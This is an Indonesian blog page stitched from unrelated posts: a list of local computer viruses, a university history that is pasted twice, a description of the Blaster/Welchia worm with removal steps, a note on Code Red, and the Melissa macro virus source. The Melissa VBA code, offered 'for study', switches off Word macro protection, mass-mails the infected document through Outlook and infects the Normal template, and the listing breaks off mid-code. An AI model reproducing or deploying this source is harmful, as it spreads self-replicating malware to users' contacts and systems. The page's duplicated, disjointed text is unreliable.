Jumat, 13 Juli 2012

jENIS JENIS VIRUS KOMPUTER



serangan virus merupakan salah satu hal yang sangat tidak diinginkan dalam komputer, selain dapat menghilangkan file maupun aplikasi pada komputer, virus juga dapat membuat komputer tidak bisa bertahan lama (rusak). Berikut ini adalah daftar sepuluh jenis virus komputer yang paling berbahaya.
1. Discusx.vbs

Virus VBScript yang satu ini, memiliki ukuran sekitar 4.800 bytes. Dia akan mencoba menginfeksi di beberapa drive di komputer Anda, termasuk drive flash disk, yang jika terinfeksi akan membuat file autorun.inf dan System32.sys.vbs pada root drive tersebut. Selain itu, ia pun akan mengubah caption dari Internet Explorer menjadi “.::Discus-X SAY MET LEBARAN! [HAPPY LEBARAN ?!]::.”.

2. Reva.vbs
Lagi, virus jenis VBScript yang lumayan banyak dikeluhkan oleh beberapa pembaca. Ia akan mencoba menyebarkan dirinya ke setiap drive di komputer Anda termasuk drive flash disk. Pada drive terinfeksi akan terdapat file reva.vbs, autorun.inf, dan shaheedan.jpg. Selain itu, ia pun akan mengubah halaman default dari Internet Explorer agar mengarah ke situs http://www.arrahmah.com.

3. XFly

PC Media Antivirus mengenali dua varian dari virus ini, yakni XFly.A dan XFly.B. Sama seperti kebanyakan virus lokal lainnya, ia dibuat menggunakan Visual Basic. Memiliki ukuran tubuh sebesar 143.360 bytes tanpa di-compress. Dan ia dapat menyamar sebagai folder, file MP3 WinAmp atau yang lainnya dengan cara mengubah secara langsung resource icon yang ada pada tubuhnya. Ini akan lebih mempersulit user awam dalam mengenalinya. Pada komputer terinfeksi, saat menjalankan Internet Explorer, caption-nya akan berubah menjadi “..:: x-fly ::..”, dan saat memulai Windows pun akan muncul pesan dari si pembuat virus pada default browser. Atau setiap waktu menunjukan pukul 12:30, 16:00, atau 20:00, virus ini pun akan menampilkan layar hitam yang juga berisi pesan dari si pembuat virus.

4. Explorea

Virus yang di-compile menggunakan Visual Basic ini hadir dengan ukuran sekitar 167.936 bytes, tanpa di-compress. Menggunakan icon mirip folder standar Windows untuk mengelabui korbannya. Virus ini akan menyerang Registry Windows Anda dengan mengubah default open dari beberapa extension seperti .LNK, .PIF, .BAT, dan .COM. Pada komputer terinfeksi, disaat-saat tertentu terkadang muncul pesan error, contohnya pada saat membuka System Properties.

5. Gen.FFE

Gen.FFE atau pembuatnya menamakan Fast Firus Engine merupakan salah satu program Virus Generator buatan lokal. Dengan hanya menggunakan program ini, tidak dibutuhkan waktu lama untuk dapat menciptakan virus/varian baru. Virus hasil keluaran program ini menggunakan icon mirip gambar folder standar bawaan Windows. Ia pun akan memblokir akses ke Task Manager, Command Prompt, serta menghilangkan beberapa menu di Start Menu. Ia juga akan membaca caption dari program yang aktif, apabila terdapat string yang berhubungan dengan antivirus maka program tersebut akan segera ditutup olehnya.

6. Hampa

Virus yang juga dibuat menggunakan Visual Basic dan ber-icon-kan folder ini memiliki ukuran tubuh sekitar 110.592 bytes, tanpa di-compress. Banyak sekali perubahan yang ia buat pada Windows, seperti Registry, File System, dan lain sebagainya, yang bahkan dapat menyebabkan Windows tidak dapat digunakan sebagaimana mestinya. Pada komputer yang terinfeksi oleh virus ini, saat memulai Windows akan muncul pesan dari si pembuat virus.

7. Raider.vbs

Virus jenis VBScript ini berukuran sekitar 10.000 bytes, jika file virus dibuka dengan Notepad misalnya, maka tidak banyak string yang bisa dibaca karena dalam kondisi ter-enkripsi. Pada Registry, ia pun memberikan pengenal dengan membuat key baru di HKLM\Software dengan nama sama seperti nama pada computer name, dengan isinya berupa string value seperti nama virus tersebut, Raider, serta tanggal komputer tersebut kali pertama terinfeksi.

8. ForrisWaitme

Virus yang dibuat dengan Visual Basic ini menggunakan icon mirip folder standar Windows untuk melakukan penyamarannya. Beberapa ulahnya adalah menukar fungsi tombol mouse kiri dengan kanan, menghilangkan menu Folder Options, membuat file pesan “baca saya.txt” pada drive terinfeksi, dan masih ada yang lainnya.

9. Pray

Virus lokal ini dibuat menggunakan Visual Basic. Kami mendapati 2 varian dari virus ini, untuk varian Pray.A tidak memiliki icon, sementara untuk varian Pray.B menggunakan icon mirip Windows Explorer. Jika komputer terinfeksi oleh virus ini, saat penunjuk waktu di komputer tersebut menunjukan pukul 05:15, 13:00, 16:00, 18:30, dan atau 19:45, virus ini akan menampilkan pesan yang mengingatkan user untuk melakukan shalat.

10. Rian.vbs

Virus VBScript ini memiliki ukuran 3788 bytes. Saat menginfeksi, ia akan menciptakan file baru autorun.inf dan RiaN.dll.vbs pada setiap root drive yang terpasang di komputer korban, termasuk Flash Disk.

UNISBANK

Universitas Stikubank Semarang, disingkat Unisbank, adalah Entrepreneurial University berbasis teknologi informasi dan komputer yang terletak di pusat kota Semarang. 
Sejarah Universitas Stikubank


Berdirinya Akubank 


Sejarah Unisbank bermula Pada tanggal 28 April 1968, YPPMI mendirikan Akademi Keuangan dan Perbankan(Akubank) dengan satu jurusan, yaitu Jurusan Keuangan dan Perbankan. Selanjutnya pada tanggal 29 November 1984, dengan Surat Keputusan Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 061/0/1984, membuka jurusan baru yaitu Jurusan Manajemen dengan Program Studi Diploma III Manajemen Informatika Keuangan dan Perbankan, dengan status terdaftar.Pada tanggal 15 Mei 1989, Akubank dikembangkan menjadi sekolah tinggi, yaitu Sekolah Tinggi Keuangan dan Perbankan, disingkat STIKUBANK, dengan menambah jenjang pendidikan Diploma IV. Melihat kebutuhan masyarakat akan lulusan pendidikan tinggi, khususnya di bidang manajemen dan akuntansi yang terus meningkat, maka STIKUBANK dikembangkan menjadi Sekolah Tinggi Ilmu Ekonomi (STIE) STIKUBANK berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Depdikbud Nomor 407/DIKTI/Kep/1992 tanggal 26 Agustus 1992, dengan perubahan jurusan Manajemen Program Studi Manajemen Informatika Keuangan dan Perbankan menjadi Jurusan Manajemen Program Studi Diploma III Manajemen Keuangan, dengan status disamakan. Untuk melanjutkan Jurusan Manajemen Program Studi D-III Manajemen Informatika Keuangan dan Perbankan, maka pada tahun 1993 YPPMI mendirikan Akademi Manajemen Informatika dan Komputer Stikubank, disingkat AMIK STIKUBANK. Jurusan yang diselenggarakan adalah Jurusan Manajemen Informatika jenjang Program Diploma III, dengan SK Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 92/D/0/1993, tanggal 23 Juli 1993. Berdirinya STIMIK stikubank Untuk lebih meningkatkan keberadaannya dan mengantisipasi kebutuhan global, maka pada tahun 1994 AMIK STIKUBANK dikembangkan lagi menjadi sekolah tinggi, yaitu Sekolah Tinggi Manajemen Informatikan dan Komputer Stikubank, disingkat STMIK STIKUBANK, dengan SK Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 086/D/0/1994 tanggal 19 Agustus 1994. Jurusan yang diselenggarakan oleh STMIK STIKUBANK adalah : Jurusan/Program Studi S-1 Manajemen Informatika Jurusan/Program Studi D-III Manajemen Informatika Jurusan/Program Studi S-1 Teknik Informatika. Pada tanggal 4 Maret 1998, dengan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 76/DIKTI/Kep/1998, Program Studi D-III Manajemen Informatika mendapat Status Diakui. Untuk menyediakan tenaga kerja yang diperlukan oleh pasar, maka STMIK STIKUBANK membuka Program Studi D-I dan D-II Manajemen Informatika, berdasarkan Surat Koordinator Kopertis Wilayah VI Jawa Tengah Nomor 1727/A/ 0.06.2/AK.10/1998 tanggal 27 Juni 1998. Program Studi D-I dan D-II Manajemen Informatika mendapat Status Diakui, mengikuti status Program Studi D-III Manajemen Informatika. Satu tahun kemudian, yaitu pada tanggal 24 Maret 1999, Program Studi D-III (termasuk D-I dan D-II) Manajemn Informatika, telah memperoleh Status Disamakan berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 71/DIKTI/Kep/1999. Mengingat sumber daya dipandang cukup memadai, maka pada tanggal 15 Februari 1999, STMIK STIKUBANK menambah jurusan/program studi baru, yaitu Program Studi D-III Komputerisasi Akuntansi dengan status Terdaftar berdasarkan SK Dirjen Pendidikan Tinggi Nomor 26/DIKTI/Kep/1999. Selanjutnya dalam upaya memenuhi tenaga yang dibutuhkan oleh masyarakat, maka STMIK STIKUBANK membuka program studi baru, yaitu Program Studi D-III Teknik Komputer dengan status Terdaftar berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 164/DIKTI/Kep/2000 tanggal 20 Mei 2000. Dalam rangka mengimbangi kepercayaan masyarakat kepada STMIK STIKUBANK, maka telah dilakukan upaya proses akreditasi untuk dua Program Studi S-1, yaitu Manajemen Informatika/Sistem Informasi dan Teknik Informatika. Dengan kerja keras seluruh sivitas akademika dan dukungan semua pihak, maka Program Studi S-1 Manajemen Informatika dan Program Studi S-1 Teknik Informatika telah memperoleh akreditasi dari Badan Akreditasi Nasional (BAN)-PT, dengan peringkat "A" untuk Program Studi S-1 Manajemen Informatika dan peringkat "B" untuk Program Studi S-1 Teknik Informatika. Akreditasi merupakan salah satu cara standardisasi program studi yang dilakukan BAN-PT Perguruan Tinggi. Sampai dengan tahun akademik 2000/2001, STMIK STIKUBANK mengelola dan menyelenggarakan satu Program Studi D-I, 3 (tiga) Program Studi D-III dan 2 (dua) Program Studi S-1, yaitu : Program Studi D-I Manajemen Informatika (status Disamakan) Program Studi D-III Manajemen Informatika (status Disamakan) Program Studi D-III Komputerisasi Akuntansi (status Terdaftar) Program Studi D-III Teknik Komputer (status Terdaftar) Program Studi S-1 Manajemen Informatika/Sistem Informasi (akreditasi "A") Program Studi S-1 Teknik Informatika (akreditasi "B"). Berdirinya UNISBANK Dalam perkembangan selanjutnya, antara lain guna mengantisipasi kebutuhan global akan lulusan perguruan tinggi di berbagai bidang ilmu, maka STMIK Stikubank berusaha menambah program studi baru multidisiplin ilmu. Selain STMIK Stikubank, YPPMI juga mengelola STIBA dan STIH Stikubank, oleh karena itu untuk melakukan efisiensi dan optimalisasi pengelolaan tiga sekolah tinggi di bawah satu yayasan sebagaimana tersebut di atas, maka STMIK, STIBA dan STIH Stikubank diupayakan untuk digabung menjadi sebuah Universitas yang dapat menyelenggarakan program studi multiidisiplin ilmu. Untuk maksud tersebut, maka YPPMI telah membentuk Panitia Pendirian Universitas (dengan nama UNIVERSITAS STIKUBANK) dengan susunan : Mengacu kepada Keputusan Mendiknas Nomor 234/U/2000 ditetapkan bahwa Universitas terdiri atas sepuluh program studi atau lebih yang menyelenggarakan Program S-1 dan/atau Program Diploma dan mewakili tiga kelompok bidang ilmu pengetahuan alam dan dua kelompok bidang ilmu pengetahuan sosia l atau lebih, maka "Universitas Stikubank" mengajukan ijin penyelengaraan sebanyak 13 program studi (S-1 dan D-III) untuk memenuhi persyaratan tersebut. Akhirnya atas berkat rahmat Tuhan Yang Maha Esa dan kerja keras dari seluruh pengurus yayasan dan panitia pendirian yang tanpa kenal lelah serta bantuan dari berbagai pihak, maka keinginan untuk pendirian Universitas Stikubank (gabungan dari STMIK, STIBA dan STIH Stikubank) Semarang, telah mendapatkan persetujuan dari Menteri Pendidikan Nasional dengan Surat Keputusan Ijin Penyelenggaran Program Studi dan Pendirian Universitas Stikubank Nomor 53/D/O/2001 tanggal 5 Juli 2001 dan penandatanganan Surat Pernyataan antara Ketua Yayasan (YPPMI) dan Rektor Universitas Stikubank pada tanggal 13 Juli 2001 di Jakarta. Oleh karena itu sejak tanggal 5 Juli 2001, secara resmi STMIK, STIBA dan STIH Stikubank telah berubah bentuk dan bergabung menjadi UNIVERSITAS STIKUBANK Semarang, dengan mengelola lima Fakultas dan 13 Program Studi, yaitu : Fakultas Teknologi Informasi Fakultas Bahasa dan ilmu Budaya Fakultas Hukum Fakultas Ekonomi Fakultas Teknik D-III Manajemen Informatika D-III Bahasa Inggris S-1 Ilmu Hukum D-III Manajemen Industri D-III Teknik Elektronika D-III Komputerisasi Akuntansi S-1 Bahasa dan Sastra Inggris S-1 Manajemen S-1 Teknik Industri D-III Teknik Komputer S-1 Akuntansi S-1 Sistem Informasi S-1 Teknik Informatika Ada hal penting yang perlu kita pahami bersama, bahwa nama STIKUBANK bukan sebuah singkatan Sekolah Tinggi Keuangan dan Perbankan, tetapi telah menjadi sebuah nama akronim "Sasana Taruna Informatika dan Komputer untuk Pembangunan dan Kesejahteraan" disingkat "STIKUBANK", sehingga universitas yang didirikan oleh YPPMI dinamakan UNIVERSITAS STIKUBANK disingkat dengan "UNISBANK"[1]. Dalam perjalanan selanjutnya, pada tanggal 14 Maret 2003 Akademi Pariwisata STIKUBANK bergabung dalam Universitas Stikubank dan pada tahun 2007 dilanjutkan dengan STIE STIKUBANK dengan SK Mendiknas No. 106/D/O/2007 tanggal 22 Agustus 2007. Dengan bergabungnya AKPARTA STIKUBANK dan STIE STIKUBANK, saat ini universitas STIKUBANK memiliki 5 Fakultas dengan 14 Program Studi Pilihan dan Program Diploma Kepariwisataan dengan 2 pilihan Program Studi. Berdasarkan sejarah berdirinya AKUBANK hingga terbentuknya Universitas STIKUBANK (UNISBANK) hingga saat sekarang ini , maka disepakati bahwa setiap tanggal 28 April merupakan hari Lahir Universitas Stikubank Semarang, disingkat Unisbank, adalah Entrepreneurial University berbasis teknologi informasi dan komputer yang terletak di pusat kota Semarang. Sejarah Universitas StikubankBerdirinya Akubank Sejarah Unisbank bermula Pada tanggal 28 April 1968, YPPMI mendirikan Akademi Keuangan dan Perbankan(Akubank) dengan satu jurusan, yaitu Jurusan Keuangan dan Perbankan. Selanjutnya pada tanggal 29 November 1984, dengan Surat Keputusan Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 061/0/1984, membuka jurusan baru yaitu Jurusan Manajemen dengan Program Studi Diploma III Manajemen Informatika Keuangan dan Perbankan, dengan status terdaftar.Pada tanggal 15 Mei 1989, Akubank dikembangkan menjadi sekolah tinggi, yaitu Sekolah Tinggi Keuangan dan Perbankan, disingkat STIKUBANK, dengan menambah jenjang pendidikan Diploma IV. Melihat kebutuhan masyarakat akan lulusan pendidikan tinggi, khususnya di bidang manajemen dan akuntansi yang terus meningkat, maka STIKUBANK dikembangkan menjadi Sekolah Tinggi Ilmu Ekonomi (STIE) STIKUBANK berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Depdikbud Nomor 407/DIKTI/Kep/1992 tanggal 26 Agustus 1992, dengan perubahan jurusan Manajemen Program Studi Manajemen Informatika Keuangan dan Perbankan menjadi Jurusan Manajemen Program Studi Diploma III Manajemen Keuangan, dengan status disamakan. Untuk melanjutkan Jurusan Manajemen Program Studi D-III Manajemen Informatika Keuangan dan Perbankan, maka pada tahun 1993 YPPMI mendirikan Akademi Manajemen Informatika dan Komputer Stikubank, disingkat AMIK STIKUBANK. Jurusan yang diselenggarakan adalah Jurusan Manajemen Informatika jenjang Program Diploma III, dengan SK Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 92/D/0/1993, tanggal 23 Juli 1993. Berdirinya STIMIK stikubank Untuk lebih meningkatkan keberadaannya dan mengantisipasi kebutuhan global, maka pada tahun 1994 AMIK STIKUBANK dikembangkan lagi menjadi sekolah tinggi, yaitu Sekolah Tinggi Manajemen Informatikan dan Komputer Stikubank, disingkat STMIK STIKUBANK, dengan SK Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 086/D/0/1994 tanggal 19 Agustus 1994. Jurusan yang diselenggarakan oleh STMIK STIKUBANK adalah : Jurusan/Program Studi S-1 Manajemen Informatika Jurusan/Program Studi D-III Manajemen Informatika Jurusan/Program Studi S-1 Teknik Informatika. Pada tanggal 4 Maret 1998, dengan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 76/DIKTI/Kep/1998, Program Studi D-III Manajemen Informatika mendapat Status Diakui. Untuk menyediakan tenaga kerja yang diperlukan oleh pasar, maka STMIK STIKUBANK membuka Program Studi D-I dan D-II Manajemen Informatika, berdasarkan Surat Koordinator Kopertis Wilayah VI Jawa Tengah Nomor 1727/A/ 0.06.2/AK.10/1998 tanggal 27 Juni 1998. Program Studi D-I dan D-II Manajemen Informatika mendapat Status Diakui, mengikuti status Program Studi D-III Manajemen Informatika. Satu tahun kemudian, yaitu pada tanggal 24 Maret 1999, Program Studi D-III (termasuk D-I dan D-II) Manajemn Informatika, telah memperoleh Status Disamakan berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 71/DIKTI/Kep/1999. Mengingat sumber daya dipandang cukup memadai, maka pada tanggal 15 Februari 1999, STMIK STIKUBANK menambah jurusan/program studi baru, yaitu Program Studi D-III Komputerisasi Akuntansi dengan status Terdaftar berdasarkan SK Dirjen Pendidikan Tinggi Nomor 26/DIKTI/Kep/1999. Selanjutnya dalam upaya memenuhi tenaga yang dibutuhkan oleh masyarakat, maka STMIK STIKUBANK membuka program studi baru, yaitu Program Studi D-III Teknik Komputer dengan status Terdaftar berdasarkan Surat Keputusan Dirjen Pendidikan Tinggi Nomor 164/DIKTI/Kep/2000 tanggal 20 Mei 2000. Dalam rangka mengimbangi kepercayaan masyarakat kepada STMIK STIKUBANK, maka telah dilakukan upaya proses akreditasi untuk dua Program Studi S-1, yaitu Manajemen Informatika/Sistem Informasi dan Teknik Informatika. Dengan kerja keras seluruh sivitas akademika dan dukungan semua pihak, maka Program Studi S-1 Manajemen Informatika dan Program Studi S-1 Teknik Informatika telah memperoleh akreditasi dari Badan Akreditasi Nasional (BAN)-PT, dengan peringkat "A" untuk Program Studi S-1 Manajemen Informatika dan peringkat "B" untuk Program Studi S-1 Teknik Informatika. Akreditasi merupakan salah satu cara standardisasi program studi yang dilakukan BAN-PT Perguruan Tinggi. Sampai dengan tahun akademik 2000/2001, STMIK STIKUBANK mengelola dan menyelenggarakan satu Program Studi D-I, 3 (tiga) Program Studi D-III dan 2 (dua) Program Studi S-1, yaitu : Program Studi D-I Manajemen Informatika (status Disamakan) Program Studi D-III Manajemen Informatika (status Disamakan) Program Studi D-III Komputerisasi Akuntansi (status Terdaftar) Program Studi D-III Teknik Komputer (status Terdaftar) Program Studi S-1 Manajemen Informatika/Sistem Informasi (akreditasi "A") Program Studi S-1 Teknik Informatika (akreditasi "B"). Berdirinya UNISBANK Dalam perkembangan selanjutnya, antara lain guna mengantisipasi kebutuhan global akan lulusan perguruan tinggi di berbagai bidang ilmu, maka STMIK Stikubank berusaha menambah program studi baru multidisiplin ilmu. Selain STMIK Stikubank, YPPMI juga mengelola STIBA dan STIH Stikubank, oleh karena itu untuk melakukan efisiensi dan optimalisasi pengelolaan tiga sekolah tinggi di bawah satu yayasan sebagaimana tersebut di atas, maka STMIK, STIBA dan STIH Stikubank diupayakan untuk digabung menjadi sebuah Universitas yang dapat menyelenggarakan program studi multiidisiplin ilmu. Untuk maksud tersebut, maka YPPMI telah membentuk Panitia Pendirian Universitas (dengan nama UNIVERSITAS STIKUBANK) dengan susunan : Mengacu kepada Keputusan Mendiknas Nomor 234/U/2000 ditetapkan bahwa Universitas terdiri atas sepuluh program studi atau lebih yang menyelenggarakan Program S-1 dan/atau Program Diploma dan mewakili tiga kelompok bidang ilmu pengetahuan alam dan dua kelompok bidang ilmu pengetahuan sosia l atau lebih, maka "Universitas Stikubank" mengajukan ijin penyelengaraan sebanyak 13 program studi (S-1 dan D-III) untuk memenuhi persyaratan tersebut. Akhirnya atas berkat rahmat Tuhan Yang Maha Esa dan kerja keras dari seluruh pengurus yayasan dan panitia pendirian yang tanpa kenal lelah serta bantuan dari berbagai pihak, maka keinginan untuk pendirian Universitas Stikubank (gabungan dari STMIK, STIBA dan STIH Stikubank) Semarang, telah mendapatkan persetujuan dari Menteri Pendidikan Nasional dengan Surat Keputusan Ijin Penyelenggaran Program Studi dan Pendirian Universitas Stikubank Nomor 53/D/O/2001 tanggal 5 Juli 2001 dan penandatanganan Surat Pernyataan antara Ketua Yayasan (YPPMI) dan Rektor Universitas Stikubank pada tanggal 13 Juli 2001 di Jakarta. Oleh karena itu sejak tanggal 5 Juli 2001, secara resmi STMIK, STIBA dan STIH Stikubank telah berubah bentuk dan bergabung menjadi UNIVERSITAS STIKUBANK Semarang, dengan mengelola lima Fakultas dan 13 Program Studi, yaitu : Fakultas Teknologi Informasi Fakultas Bahasa dan ilmu Budaya Fakultas Hukum Fakultas Ekonomi Fakultas Teknik D-III Manajemen Informatika D-III Bahasa Inggris S-1 Ilmu Hukum D-III Manajemen Industri D-III Teknik Elektronika D-III Komputerisasi Akuntansi S-1 Bahasa dan Sastra Inggris S-1 Manajemen S-1 Teknik Industri D-III Teknik Komputer S-1 Akuntansi S-1 Sistem Informasi S-1 Teknik Informatika Ada hal penting yang perlu kita pahami bersama, bahwa nama STIKUBANK bukan sebuah singkatan Sekolah Tinggi Keuangan dan Perbankan, tetapi telah menjadi sebuah nama akronim "Sasana Taruna Informatika dan Komputer untuk Pembangunan dan Kesejahteraan" disingkat "STIKUBANK", sehingga universitas yang didirikan oleh YPPMI dinamakan UNIVERSITAS STIKUBANK disingkat dengan "UNISBANK"[1]. Dalam perjalanan selanjutnya, pada tanggal 14 Maret 2003 Akademi Pariwisata STIKUBANK bergabung dalam Universitas Stikubank dan pada tahun 2007 dilanjutkan dengan STIE STIKUBANK dengan SK Mendiknas No. 106/D/O/2007 tanggal 22 Agustus 2007. Dengan bergabungnya AKPARTA STIKUBANK dan STIE STIKUBANK, saat ini universitas STIKUBANK memiliki 5 Fakultas dengan 14 Program Studi Pilihan dan Program Diploma Kepariwisataan dengan 2 pilihan Program Studi. Berdasarkan sejarah berdirinya AKUBANK hingga terbentuknya Universitas STIKUBANK (UNISBANK) hingga saat sekarang ini , maka disepakati bahwa setiap tanggal 28 April merupakan hari Lahir

Senin, 17 Oktober 2011

blaster worm

Tipe:  Worm
Panjang infeksi : 10,240 bytes
Systems yang dapat di infeksi:Microsoft IIS, Windows 2000, Windows XP
Systems yang tidak terinfeksi:Linux, Macintosh, OS/2, UNIX, Windows 3.x,
Windows 95, Windows 98, Windows Me, Windows NT

Port yang digunakan: TCP 135(RPC DCOM), TCP 80(WebDav)

saat W32.Welchia.Worm di eksekusi, maka akan melakukan:

mengkopikan dirinya ke:
%System%\Wins\Dllhost.exe
catatan %Sytem% adalah variabel, worm akan mencari folder file system dan
mengkopikan dirinya,secara default adalah C:\Winnt\System32 (Windows 2000)
atau

C:\Windows\System32 (Windows XP).membuat kopi file
%System%\Dllcache\Tftpd.exe sebagai %System%\Wins\svchost.exe.

catatan:Tftpd adalah program yang diijinkan, sehingga sulit untuk dideteksi
oleh antivirus.

menambah subkeys:
RpcPatch

dan:

RpcTftpd

ke registry key di:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services


Membuat beberapa services:

Nama Service : RpcTftpd
Service Display Name: Network Connections Sharing
Service Binary: %System%\wins\svchost.exe

Service ini akan diset untuk berjalan secara manual.

Nama Service : RpcPatch
Service Display Name: WINS Client
Service Binary: %System%\wins\dllhost.exe

Service ini akan di set untuk dapat berjalan secara otomatis.
Proses terakhir adalah menghapus file %System%\msblast.exe sebagai tempat
pertama kali W32.Blaster.Worm


worm ini melakukan:
- mengirimkan packet ICMP /ping , untuk mengecek apakah komputer denga ip
tersebut aktif di jaringan.
- Setelah worm berhasil mengetahui bahwa mesin tersebut aktif di jaringan
maka akan mengirimkan data ke port tcp 135 dan akan mengeksploitasi
kelemahan DCOM RPC
atau,
akan mengirim date ke port tcp 80 untuk mengeksploitasi kelemahan Webdav
- membuat shell untuk remote pada mesin yang telah di ekspoitasi
kelemahannya dan akan mencoba terhubung ke mesin penyerang dengan
menggunakan prot tcp secara acak, antara 666 dan 765 untuk menerima
instruksi.
- Menjalankan server TFTP pada mesin penyerang dan menginstruksikan mesin
yang tereksploitasi (korban) untuk terhubung dan mendownload Dllhost.exe
dan Svchost.exe dari mesin penyerang. jika file
%System%\dllcache\tftpd.exe ada, maka worm tidak akan mendownload
svchost.exe.
- memeriksa versi Sistem operasi komputer tersebut, Nomor Service pack
dan juga menghalangi untuk terhubung ke Microsoft's Windows Update dan
mencegah komputer untuk DCOM RPC vulnerability patch.

Untuk memusnahkan worm ini dapat dilakukan beberapa cara:
+ Gunakan peralatan removal W32.Welchia.WOrm
+ Menghapus secara manual:
1 menDisable System Restore (Windows XP).
mengapa? XP kuhusnya secara default mengenable system restore,
mengapa berbahaya? karena virus, worm atau trojan yang menginfeksi
komputer anda mungkin saja di backup juga oleh system restore dan yang
membuat lebih berbahaya adalah windows melindungi program lain,termasuk
antivirus untuk memodifikasi (menquarantine, menghapus dan membersihkan)
sytem restore=system restore bisa jadi tempat teraman bagi virus dkk.
karena itu anda wajib men-disablekan system restore anda

untuk mematikan system restore:
- anda harus sebagaoi administrator (xp)
- masuk ke control panel
- pilih system, di system properties pilih System restore
- centang turn off system restore


2 Update virus definition dari antivirus yang digunakan. anda hanya perlu
mengunjungi situs antivirus anda, atau menjalankan Live Update langsung
dari program antivirus anda untuk melaukan update.

3 Restart komputer anda dalam save mode untuk menghentikan Worm.
untuk windows 95/98/me anda bisa masuk ke save mode setelah restart
sedangkan,
untuk xp/nt/win 2000
anda dapat menghentikan kerja virus buat sementara dengan cara:
-masuk control panel
-pilih services pada administrative tools
-scroll kebawah sampai anda temukan
+ Network Connections Sharing
+ WINS Client
-klik-kanan dan pilih stop

4 jalankan full system scan dan delete semua file yang dideteksi sebagai
W32.Welchia.Worm.jalankan full scan dan konfigurasi terlebih dahulu
antivirus anda jika ditemukan ada file yang terinfeksi W32.Welchia.Worm
maka hapus file tersebut

5 Delete values& subkeys yang dibuat oleh virus di registry.
hal ini sedikit beresiko, sebelum anda lakukan, backup dulu registry anda

-klik start -run dan ketik regedit
masuk ke key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

hapus subkey berikut:

RpcPatch

dan

RpcTftpd
simpan perubahan dan keluar dari registry

6 Delete Svchost.exe file.
masuk ke folder %system%wins dan hapus semua file svchost.exe

sumber : http://ezine.echo.or.id/ezine1/w32.welchia.worm.txt

virus Code Red & Code Red II

Muncul musim panas 2001, menyerang OS Windows 2000 & NT. Virusnya bakal membuat buffer penuh sehingga menghabiskan memori. Paling seru waktu berhubungan sama White House, semua komputer yang kena virus ini bakalan otomatis akses ke web server di White House secara bersamaan, jadi bikin overload, alias serangan DDoS. Akhirnya Microsoft rilis patchnya saat itu.

sumber http://wahw33d.blogspot.com/2010/06/10-virus-komputer-paling-kejam-di-dunia.html#ixzz0q093cBqA

source code virus Mellisa - 1999

Melissa virus yang dibuat pada tahun 1999 oleh David L. Smith, dibuat
dengan program dasar, persis dengan macro Microsoft Word. Virus Melissa
adalah massa-mail malware yang dikatakan telah terinfeksi sampai 20
persen dari komputer di seluruh dunia. Virus ini menyebar melalui email.
Ketika file ini akan dibuka atau diklik maka secara otomatis akan
menjalankan replikasi virus dan secara otomatis mengirim ke 50 alamat
email. Email server di seluruh dunia terpaksa ditutup untuk mencegah
virus menyebar, serta untuk menghapus virus dari system.Smith
dipenjarakan 20 bulan dan didenda $ 5.000 dan dilarang untuk mengakses
komputer tanpa pengawasan.

Disini kita membedah source code virus melisa, semoga kita bisa belajar dari sini agar nantinya kita bisa mengerti dan mampu belajar.
Serta dapat menambah pengetahuan kita dalam mempelajari virus.
dibawah ini kita mempelajari source code virus Mellisa.

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
